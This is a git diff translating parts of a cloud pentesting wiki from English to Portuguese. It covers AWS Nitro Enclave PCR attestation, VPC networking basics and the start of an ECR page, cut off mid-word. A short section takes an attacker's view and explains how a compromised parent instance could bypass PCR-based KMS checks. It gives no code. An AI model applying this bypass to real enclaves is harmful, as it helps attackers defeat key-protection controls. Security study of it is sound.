includes **unique measurements** specific to that enclave. These measurements, which include **hashes and platform configuration registers (PCRs)**, are used during the attestation process to **prove the enclave's identity** and **build trust with external services**. The attestation document typically contains values like PCR0, PCR1, and PCR2, which you have encountered before when building and saving an enclave EIF. +A partir da [**documentação**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), estes são os valores de PCR: -From the [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), these are the PCR values: +
PCRHash de ...Descrição
PCR0Arquivo de imagem do enclaveUma medida contígua do conteúdo do arquivo de imagem, sem os dados da seção.
PCR1Kernel Linux e bootstrapUma medida contígua dos dados do kernel e do ramfs de inicialização.
PCR2AplicaçãoUma medida contígua e em ordem das aplicações de usuário, sem o ramfs de inicialização.
PCR3Função IAM atribuída à instância paiUma medida contígua da função IAM atribuída à instância pai. Garante que o processo de atestação seja bem-sucedido apenas quando a instância pai tiver a função IAM correta.
PCR4ID da instância da instância paiUma medida contígua do ID da instância pai. Garante que o processo de atestação seja bem-sucedido apenas quando a instância pai tiver um ID de instância específico.
PCR8Certificado de assinatura do arquivo de imagem do enclaveUma medida do certificado de assinatura especificado para o arquivo de imagem do enclave. Garante que o processo de atestação seja bem-sucedido apenas quando o enclave foi inicializado a partir de um arquivo de imagem de enclave assinado por um certificado específico.
-
PCRHash of ...Description
PCR0Enclave image fileA contiguous measure of the contents of the image file, without the section data.
PCR1Linux kernel and bootstrapA contiguous measurement of the kernel and boot ramfs data.
PCR2ApplicationA contiguous, in-order measurement of the user applications, without the boot ramfs.
PCR3IAM role assigned to the parent instanceA contiguous measurement of the IAM role assigned to the parent instance. Ensures that the attestation process succeeds only when the parent instance has the correct IAM role.
PCR4Instance ID of the parent instanceA contiguous measurement of the ID of the parent instance. Ensures that the attestation process succeeds only when the parent instance has a specific instance ID.
PCR8Enclave image file signing certificateA measure of the signing certificate specified for the enclave image file. Ensures that the attestation process succeeds only when the enclave was booted from an enclave image file signed by a specific certificate.
- -You can integrate **cryptographic attestation** into your applications and leverage pre-built integrations with services like **AWS KMS**. AWS KMS can **validate enclave attestations** and offers attestation-based condition keys (`kms:RecipientAttestation:ImageSha384` and `kms:RecipientAttestation:PCR`) in its key policies. These policies ensure that AWS KMS permits operations using the KMS key **only if the enclave's attestation document is valid** and meets the **specified conditions**. +Você pode integrar **atestação criptográfica** em suas aplicações e aproveitar integrações pré-construídas com serviços como **AWS KMS**. O AWS KMS pode **validar atestações de enclave** e oferece chaves de condição baseadas em atestação (`kms:RecipientAttestation:ImageSha384` e `kms:RecipientAttestation:PCR`) em suas políticas de chave. Essas políticas garantem que o AWS KMS permita operações usando a chave KMS **somente se o documento de atestação do enclave for válido** e atender às **condições especificadas**. > [!TIP] -> Note that Enclaves in debug (--debug) mode generate attestation documents with PCRs that are made of zeros (`000000000000000000000000000000000000000000000000`). Therefore, KMS policies checking these values will fail. +> Observe que Enclaves no modo de depuração (--debug) geram documentos de atestação com PCRs que são compostos por zeros (`000000000000000000000000000000000000000000000000`). Portanto, as políticas do KMS que verificam esses valores falharão. -### PCR Bypass +### Bypass de PCR -From an attackers perspective, notice that some PCRs would allow to modify some parts or all the enclave image and would still be valid (for example PCR4 just checks the ID of the parent instance so running any enclave image in that EC2 will allow to fulfil this potential PCR requirement). +Do ponto de vista de um atacante, note que alguns PCRs permitiriam modificar algumas partes ou toda a imagem do enclave e ainda seriam válidos (por exemplo, o PCR4 apenas verifica o ID da instância pai, então executar qualquer imagem de enclave nessa EC2 permitirá cumprir esse potencial requisito de PCR). -Therefore, an attacker that compromise the EC2 instance might be able to run other enclave images in order to bypass these protections. +Portanto, um atacante que comprometer a instância EC2 pode ser capaz de executar outras imagens de enclave para contornar essas proteções. -The research on how to modify/create new images to bypass each protection (spcially the not taht obvious ones) is still TODO. +A pesquisa sobre como modificar/criar novas imagens para contornar cada proteção (especialmente as que não são tão óbvias) ainda está em TODO. -## References +## Referências - [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0) -- All the parts of the Nitro tutorial from AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) +- Todas as partes do tutorial Nitro da AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 03277bfd1..6e0c0ff4d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -4,37 +4,37 @@ ## AWS Networking in a Nutshell -A **VPC** contains a **network CIDR** like 10.0.0.0/16 (with its **routing table** and **network ACL**). +Uma **VPC** contém um **CIDR de rede** como 10.0.0.0/16 (com sua **tabela de roteamento** e **ACL de rede**). -This VPC network is divided in **subnetworks**, so a **subnetwork** is directly **related** with the **VPC**, **routing** **table** and **network ACL**. +Esta rede VPC é dividida em **subredes**, então uma **subrede** está diretamente **relacionada** com a **VPC**, **tabela de roteamento** e **ACL de rede**. -Then, **Network Interface**s attached to services (like EC2 instances) are **connected** to the **subnetworks** with **security group(s)**. +Então, as **Interfaces de Rede** anexadas a serviços (como instâncias EC2) estão **conectadas** às **subredes** com **grupo(s) de segurança**. -Therefore, a **security group** will limit the exposed ports of the network **interfaces using it**, **independently of the subnetwork**. And a **network ACL** will **limit** the exposed ports to to the **whole network**. +Portanto, um **grupo de segurança** limitará as portas expostas das **interfaces de rede que o utilizam**, **independentemente da subrede**. E uma **ACL de rede** **limitará** as portas expostas para a **rede inteira**. -Moreover, in order to **access Internet**, there are some interesting configurations to check: +Além disso, para **acessar a Internet**, há algumas configurações interessantes a serem verificadas: -- A **subnetwork** can **auto-assign public IPv4 addresses** -- An **instance** created in the network that **auto-assign IPv4 addresses can get one** -- An **Internet gateway** need to be **attached** to the **VPC** - - You could also use **Egress-only internet gateways** -- You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**. - - The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs) +- Uma **subrede** pode **atribuir automaticamente endereços IPv4 públicos** +- Uma **instância** criada na rede que **atribui automaticamente endereços IPv4 pode obter um** +- Um **gateway da Internet** precisa ser **anexado** à **VPC** +- Você também pode usar **gateways de internet apenas de saída** +- Você também pode ter um **gateway NAT** em uma **subrede privada** para que seja possível **conectar a serviços externos** dessa subrede privada, mas **não é possível alcançá-los do exterior**. +- O gateway NAT pode ser **público** (acesso à internet) ou **privado** (acesso a outras VPCs) ![](<../../../../images/image (274).png>) ## VPC -Amazon **Virtual Private Cloud** (Amazon VPC) enables you to **launch AWS resources into a virtual network** that you've defined. This virtual network will have several subnets, Internet Gateways to access Internet, ACLs, Security groups, IPs... +A **Nuvem Privada Virtual** da Amazon (Amazon VPC) permite que você **inicie recursos da AWS em uma rede virtual** que você definiu. Esta rede virtual terá várias subredes, Gateways da Internet para acessar a Internet, ACLs, Grupos de segurança, IPs... ### Subnets -Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure. +As subredes ajudam a impor um maior nível de segurança. **Agrupamento lógico de recursos semelhantes** também ajuda você a manter uma **facilidade de gerenciamento** em sua infraestrutura. -- Valid CIDR are from a /16 netmask to a /28 netmask. -- A subnet cannot be in different availability zones at the same time. -- **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use. -- It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.** +- CIDR válidos vão de uma máscara de rede /16 a uma máscara de rede /28. +- Uma subrede não pode estar em diferentes zonas de disponibilidade ao mesmo tempo. +- **A AWS reserva os três primeiros endereços IP de host** de cada subrede **para** **uso interno da AWS**: o primeiro endereço de host usado é para o roteador da VPC. O segundo endereço é reservado para o DNS da AWS e o terceiro endereço é reservado para uso futuro. +- Chamamos de **subredes públicas** aquelas que têm **acesso direto à Internet, enquanto subredes privadas não têm.**
@@ -42,15 +42,15 @@ Subnets helps to enforce a greater level of security. **Logical grouping of simi ### Route Tables -Route tables determine the traffic routing for a subnet within a VPC. They determine which network traffic is forwarded to the internet or to a VPN connection. You will usually find access to the: +As tabelas de roteamento determinam o roteamento de tráfego para uma subrede dentro de uma VPC. Elas determinam qual tráfego de rede é encaminhado para a internet ou para uma conexão VPN. Você geralmente encontrará acesso ao: -- Local VPC +- VPC local - NAT -- Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet). - - In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. -- VPC endpoints (to access S3 from private networks) +- Gateways da Internet / Gateways de internet apenas de saída (necessários para dar acesso a uma VPC à Internet). +- Para tornar uma subrede pública, você precisa **criar** e **anexar** um **gateway da Internet** à sua VPC. +- Pontos de extremidade da VPC (para acessar o S3 de redes privadas) -In the following images you can check the differences in a default public network and a private one: +Nas imagens a seguir, você pode verificar as diferenças em uma rede pública padrão e uma privada:
@@ -58,142 +58,138 @@ In the following images you can check the differences in a default public networ ### ACLs -**Network Access Control Lists (ACLs)**: Network ACLs are firewall rules that control incoming and outgoing network traffic to a subnet. They can be used to allow or deny traffic to specific IP addresses or ranges. +**Listas de Controle de Acesso à Rede (ACLs)**: As ACLs de rede são regras de firewall que controlam o tráfego de rede de entrada e saída para uma subrede. Elas podem ser usadas para permitir ou negar tráfego para endereços IP ou intervalos específicos. -- It’s most frequent to allow/deny access using security groups, but this is only way to completely cut established reverse shells. A modified rule in a security groups doesn’t stop already established connections -- However, this apply to the whole subnetwork be careful when forbidding stuff because needed functionality might be disturbed +- É mais frequente permitir/negá-lo usando grupos de segurança, mas esta é a única maneira de cortar completamente shells reversos estabelecidos. Uma regra modificada em um grupo de segurança não interrompe conexões já estabelecidas. +- No entanto, isso se aplica a toda a subrede, tenha cuidado ao proibir coisas, pois funcionalidades necessárias podem ser perturbadas. ### Security Groups -Security groups are a virtual **firewall** that control inbound and outbound network **traffic to instances** in a VPC. Relation 1 SG to M instances (usually 1 to 1).\ -Usually this is used to open dangerous ports in instances, such as port 22 for example: +Os grupos de segurança são um **firewall** virtual que controla o tráfego de rede **de entrada e saída para instâncias** em uma VPC. Relação 1 SG para M instâncias (geralmente 1 para 1).\ +Normalmente, isso é usado para abrir portas perigosas em instâncias, como a porta 22, por exemplo:
### Elastic IP Addresses -An _Elastic IP address_ is a **static IPv4 address** designed for dynamic cloud computing. An Elastic IP address is allocated to your AWS account, and is yours until you release it. By using an Elastic IP address, you can mask the failure of an instance or software by rapidly remapping the address to another instance in your account. +Um _Endereço IP Elástico_ é um **endereço IPv4 estático** projetado para computação em nuvem dinâmica. Um Endereço IP Elástico é alocado à sua conta AWS e é seu até que você o libere. Ao usar um Endereço IP Elástico, você pode mascarar a falha de uma instância ou software remapeando rapidamente o endereço para outra instância em sua conta. ### Connection between subnets -By default, all subnets have the **automatic assigned of public IP addresses turned off** but it can be turned on. +Por padrão, todas as subredes têm a **atribuição automática de endereços IP públicos desativada**, mas pode ser ativada. -**A local route within a route table enables communication between VPC subnets.** +**Uma rota local dentro de uma tabela de roteamento permite a comunicação entre subredes da VPC.** -If you are **connection a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet. +Se você estiver **conectando uma subrede com uma subrede diferente, não poderá acessar as subredes conectadas** com a outra subrede, você precisa criar conexão com elas diretamente. **Isso também se aplica a gateways da internet**. Você não pode passar por uma conexão de subrede para acessar a internet, você precisa atribuir o gateway da internet à sua subrede. ### VPC Peering -VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network. +O peering de VPC permite que você **conecte duas ou mais VPCs juntas**, usando IPV4 ou IPV6, como se fossem parte da mesma rede. -Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As **peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.\ -If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.\ -Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.** +Uma vez que a conectividade de peering é estabelecida, **recursos em uma VPC podem acessar recursos na outra**. A conectividade entre as VPCs é implementada através da infraestrutura de rede existente da AWS, e assim é altamente disponível sem gargalos de largura de banda. Como **as conexões de peering operam como se fossem parte da mesma rede**, há restrições quando se trata de seus intervalos de bloco CIDR que podem ser usados.\ +Se você tiver **intervalos CIDR sobrepostos ou duplicados** para sua VPC, então **você não poderá fazer peering das VPCs** juntas.\ +Cada VPC da AWS **se comunicará apenas com seu par**. Como exemplo, se você tiver uma conexão de peering entre a VPC 1 e a VPC 2, e outra conexão entre a VPC 2 e a VPC 3 como mostrado, então a VPC 1 e 2 poderiam se comunicar diretamente, assim como a VPC 2 e a VPC 3, no entanto, a VPC 1 e a VPC 3 não poderiam. **Você não pode rotear através de uma VPC para chegar a outra.** ### **VPC Flow Logs** -Within your VPC, you could potentially have hundreds or even thousands of resources all communicating between different subnets both public and private and also between different VPCs through VPC peering connections. **VPC Flow Logs allow you to capture IP traffic information that flows between your network interfaces of your resources within your VPC**. +Dentro da sua VPC, você pode potencialmente ter centenas ou até milhares de recursos se comunicando entre diferentes subredes, tanto públicas quanto privadas, e também entre diferentes VPCs através de conexões de peering de VPC. **Os VPC Flow Logs permitem que você capture informações de tráfego IP que fluem entre suas interfaces de rede de seus recursos dentro da sua VPC**. -Unlike S3 access logs and CloudFront access logs, the **log data generated by VPC Flow Logs is not stored in S3. Instead, the log data captured is sent to CloudWatch logs**. +Ao contrário dos logs de acesso do S3 e dos logs de acesso do CloudFront, os **dados de log gerados pelos VPC Flow Logs não são armazenados no S3. Em vez disso, os dados de log capturados são enviados para os logs do CloudWatch**. -Limitations: +Limitações: -- If you are running a VPC peered connection, then you'll only be able to see flow logs of peered VPCs that are within the same account. -- If you are still running resources within the EC2-Classic environment, then unfortunately you are not able to retrieve information from their interfaces -- Once a VPC Flow Log has been created, it cannot be changed. To alter the VPC Flow Log configuration, you need to delete it and then recreate a new one. -- The following traffic is not monitored and captured by the logs. DHCP traffic within the VPC, traffic from instances destined for the Amazon DNS Server. -- Any traffic destined to the IP address for the VPC default router and traffic to and from the following addresses, 169.254.169.254 which is used for gathering instance metadata, and 169.254.169.123 which is used for the Amazon Time Sync Service. -- Traffic relating to an Amazon Windows activation license from a Windows instance -- Traffic between a network load balancer interface and an endpoint network interface +- Se você estiver executando uma conexão de peering de VPC, então você só poderá ver os logs de fluxo das VPCs pareadas que estão dentro da mesma conta. +- Se você ainda estiver executando recursos dentro do ambiente EC2-Classic, então, infelizmente, você não poderá recuperar informações de suas interfaces. +- Uma vez que um VPC Flow Log foi criado, ele não pode ser alterado. Para alterar a configuração do VPC Flow Log, você precisa excluí-lo e, em seguida, recriar um novo. +- O tráfego a seguir não é monitorado e capturado pelos logs. Tráfego DHCP dentro da VPC, tráfego de instâncias destinado ao Servidor DNS da Amazon. +- Qualquer tráfego destinado ao endereço IP do roteador padrão da VPC e tráfego de e para os seguintes endereços, 169.254.169.254, que é usado para coletar metadados da instância, e 169.254.169.123, que é usado para o Serviço de Sincronização de Tempo da Amazon. +- Tráfego relacionado a uma licença de ativação do Windows da Amazon de uma instância Windows. +- Tráfego entre uma interface de balanceador de carga de rede e uma interface de rede de ponto de extremidade. -For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**. +Para cada interface de rede que publica dados no grupo de logs do CloudWatch, será usado um fluxo de log diferente. E dentro de cada um desses fluxos, haverá os dados de eventos de log de fluxo que mostram o conteúdo das entradas de log. Cada um desses **logs captura dados durante uma janela de aproximadamente 10 a 15 minutos**. ## VPN ### Basic AWS VPN Components 1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. +- Um Customer Gateway é um recurso que você cria na AWS para representar seu lado de uma conexão VPN. +- É essencialmente um dispositivo físico ou aplicativo de software do seu lado da conexão VPN Site-to-Site. +- Você fornece informações de roteamento e o endereço IP público do seu dispositivo de rede (como um roteador ou um firewall) para a AWS para criar um Customer Gateway. +- Ele serve como um ponto de referência para configurar a conexão VPN e não gera cobranças adicionais. 2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. +- Um Virtual Private Gateway (VPG) é o concentrador VPN do lado da Amazon da conexão VPN Site-to-Site. +- Ele está anexado à sua VPC e serve como o alvo para sua conexão VPN. +- O VPG é o ponto de extremidade do lado da AWS para a conexão VPN. +- Ele gerencia a comunicação segura entre sua VPC e sua rede local. 3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. +- Uma conexão VPN Site-to-Site conecta sua rede local a uma VPC através de um túnel VPN IPsec seguro. +- Esse tipo de conexão requer um Customer Gateway e um Virtual Private Gateway. +- É usado para comunicação segura, estável e consistente entre seu data center ou rede e seu ambiente AWS. +- Normalmente usado para conexões regulares e de longo prazo e é cobrado com base na quantidade de dados transferidos pela conexão. 4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +- Um endpoint de Client VPN é um recurso que você cria na AWS para habilitar e gerenciar sessões de VPN de cliente. +- É usado para permitir que dispositivos individuais (como laptops, smartphones, etc.) se conectem de forma segura aos recursos da AWS ou à sua rede local. +- Ele difere da VPN Site-to-Site na medida em que é projetado para clientes individuais, em vez de conectar redes inteiras. +- Com o Client VPN, cada dispositivo cliente usa um software cliente VPN para estabelecer uma conexão segura. ### Site-to-Site VPN -**Connect your on premisses network with your VPC.** +**Conecte sua rede local com sua VPC.** -- **VPN connection**: A secure connection between your on-premises equipment and your VPCs. -- **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS. +- **Conexão VPN**: Uma conexão segura entre seu equipamento local e suas VPCs. +- **Túnel VPN**: Um link criptografado onde os dados podem passar da rede do cliente para ou da AWS. - Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. +Cada conexão VPN inclui dois túneis VPN que você pode usar simultaneamente para alta disponibilidade. -- **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device. -- **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection. -- **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. -- **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. +- **Customer gateway**: Um recurso da AWS que fornece informações à AWS sobre seu dispositivo de gateway do cliente. +- **Customer gateway device**: Um dispositivo físico ou aplicativo de software do seu lado da conexão VPN Site-to-Site. +- **Virtual private gateway**: O concentrador VPN do lado da Amazon da conexão VPN Site-to-Site. Você usa um gateway privado virtual ou um gateway de trânsito como o gateway do lado da Amazon da conexão VPN Site-to-Site. +- **Transit gateway**: Um hub de trânsito que pode ser usado para interconectar suas VPCs e redes locais. Você usa um gateway de trânsito ou um gateway privado virtual como o gateway do lado da Amazon da conexão VPN Site-to-Site. #### Limitations -- IPv6 traffic is not supported for VPN connections on a virtual private gateway. -- An AWS VPN connection does not support Path MTU Discovery. +- O tráfego IPv6 não é suportado para conexões VPN em um gateway privado virtual. +- Uma conexão VPN da AWS não suporta a Descoberta de MTU de Caminho. -In addition, take the following into consideration when you use Site-to-Site VPN. +Além disso, leve o seguinte em consideração ao usar a VPN Site-to-Site. -- When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks. +- Ao conectar suas VPCs a uma rede local comum, recomendamos que você use blocos CIDR não sobrepostos para suas redes. ### Client VPN -**Connect from your machine to your VPC** +**Conecte-se do seu computador à sua VPC** #### Concepts -- **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated. -- **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone. -- **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks. -- **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks. -- **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session. -- **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`. -- **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443. -- **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address. -- **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues. -- **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client. +- **Client VPN endpoint:** O recurso que você cria e configura para habilitar e gerenciar sessões de VPN de cliente. É o recurso onde todas as sessões de VPN de cliente são encerradas. +- **Target network:** Uma rede alvo é a rede que você associa a um endpoint de Client VPN. **Uma subrede de uma VPC é uma rede alvo**. Associar uma subrede a um endpoint de Client VPN permite que você estabeleça sessões de VPN. Você pode associar várias subredes a um endpoint de Client VPN para alta disponibilidade. Todas as subredes devem ser da mesma VPC. Cada subrede deve pertencer a uma zona de disponibilidade diferente. +- **Route**: Cada endpoint de Client VPN tem uma tabela de rotas que descreve as rotas de rede de destino disponíveis. Cada rota na tabela de rotas especifica o caminho para o tráfego para recursos ou redes específicas. +- **Authorization rules:** Uma regra de autorização **restrige os usuários que podem acessar uma rede**. Para uma rede especificada, você configura o Active Directory ou o grupo do provedor de identidade (IdP) que tem permissão de acesso. Apenas usuários pertencentes a esse grupo podem acessar a rede especificada. **Por padrão, não há regras de autorização** e você deve configurar regras de autorização para permitir que os usuários acessem recursos e redes. +- **Client:** O usuário final que se conecta ao endpoint de Client VPN para estabelecer uma sessão de VPN. Os usuários finais precisam baixar um cliente OpenVPN e usar o arquivo de configuração do Client VPN que você criou para estabelecer uma sessão de VPN. +- **Client CIDR range:** Um intervalo de endereços IP do qual atribuir endereços IP de cliente. Cada conexão ao endpoint de Client VPN recebe um endereço IP exclusivo do intervalo CIDR do cliente. Você escolhe o intervalo CIDR do cliente, por exemplo, `10.2.0.0/16`. +- **Client VPN ports:** O Client VPN da AWS suporta as portas 443 e 1194 para TCP e UDP. O padrão é a porta 443. +- **Client VPN network interfaces:** Quando você associa uma subrede ao seu endpoint de Client VPN, criamos interfaces de rede de Client VPN nessa subrede. **O tráfego enviado para a VPC a partir do endpoint de Client VPN é enviado através de uma interface de rede de Client VPN**. A tradução de endereço de rede de origem (SNAT) é então aplicada, onde o endereço IP de origem do intervalo CIDR do cliente é traduzido para o endereço IP da interface de rede do Client VPN. +- **Connection logging:** Você pode habilitar o registro de conexões para seu endpoint de Client VPN para registrar eventos de conexão. Você pode usar essas informações para realizar investigações forenses, analisar como seu endpoint de Client VPN está sendo usado ou depurar problemas de conexão. +- **Self-service portal:** Você pode habilitar um portal de autoatendimento para seu endpoint de Client VPN. Os clientes podem fazer login no portal baseado na web usando suas credenciais e baixar a versão mais recente do arquivo de configuração do endpoint de Client VPN, ou a versão mais recente do cliente fornecido pela AWS. #### Limitations -- **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table. -- Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.** -- A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint. -- The **client CIDR range cannot be changed** after you create the Client VPN endpoint. -- The **subnets** associated with a Client VPN endpoint **must be in the same VPC**. -- You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**. -- A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**. -- Client VPN supports **IPv4** traffic only. -- Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**. -- If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format. +- **Os intervalos CIDR do cliente não podem se sobrepor ao CIDR local** da VPC na qual a subrede associada está localizada, ou a quaisquer rotas adicionadas manualmente à tabela de rotas do endpoint de Client VPN. +- Os intervalos CIDR do cliente devem ter um tamanho de bloco de pelo **menos /22** e **não devem ser maiores que /12.** +- Uma **parte dos endereços** no intervalo CIDR do cliente é usada para **suportar o modelo de disponibilidade** do endpoint de Client VPN e não pode ser atribuída a clientes. Portanto, recomendamos que você **atribua um bloco CIDR que contenha o dobro do número de endereços IP necessários** para habilitar o número máximo de conexões simultâneas que você planeja suportar no endpoint de Client VPN. +- O **intervalo CIDR do cliente não pode ser alterado** após a criação do endpoint de Client VPN. +- As **subredes** associadas a um endpoint de Client VPN **devem estar na mesma VPC**. +- Você **não pode associar várias subredes da mesma Zona de Disponibilidade a um endpoint de Client VPN**. +- Um endpoint de Client VPN **não suporta associações de subrede em uma VPC de locação dedicada**. +- O Client VPN suporta **tráfego IPv4** apenas. +- O Client VPN **não é** compatível com os Padrões Federais de Processamento de Informações (**FIPS**). +- Se a autenticação multifatorial (MFA) estiver desativada para seu Active Directory, uma senha de usuário não pode estar no seguinte formato. - ``` - SCRV1:: - ``` +``` +SCRV1:: +``` -- The self-service portal is **not available for clients that authenticate using mutual authentication**. +- O portal de autoatendimento **não está disponível para clientes que se autenticam usando autenticação mútua**. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 9025829b4..f8efd7bfe 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -6,49 +6,48 @@ ### ECR -#### Basic Information +#### Informações Básicas -Amazon **Elastic Container Registry** (Amazon ECR) is a **managed container image registry service**. It is designed to provide an environment where customers can interact with their container images using well-known interfaces. Specifically, the use of the Docker CLI or any preferred client is supported, enabling activities such as pushing, pulling, and managing container images. +Amazon **Elastic Container Registry** (Amazon ECR) é um **serviço gerenciado de registro de imagens de contêiner**. Ele é projetado para fornecer um ambiente onde os clientes podem interagir com suas imagens de contêiner usando interfaces bem conhecidas. Especificamente, o uso do Docker CLI ou de qualquer cliente preferido é suportado, permitindo atividades como enviar, puxar e gerenciar imagens de contêiner. -ECR is compose by 2 types of objects: **Registries** and **Repositories**. +ECR é composto por 2 tipos de objetos: **Registros** e **Repositórios**. -**Registries** +**Registros** -Every AWS account has 2 registries: **Private** & **Public**. +Toda conta AWS tem 2 registros: **Privado** e **Público**. -1. **Private 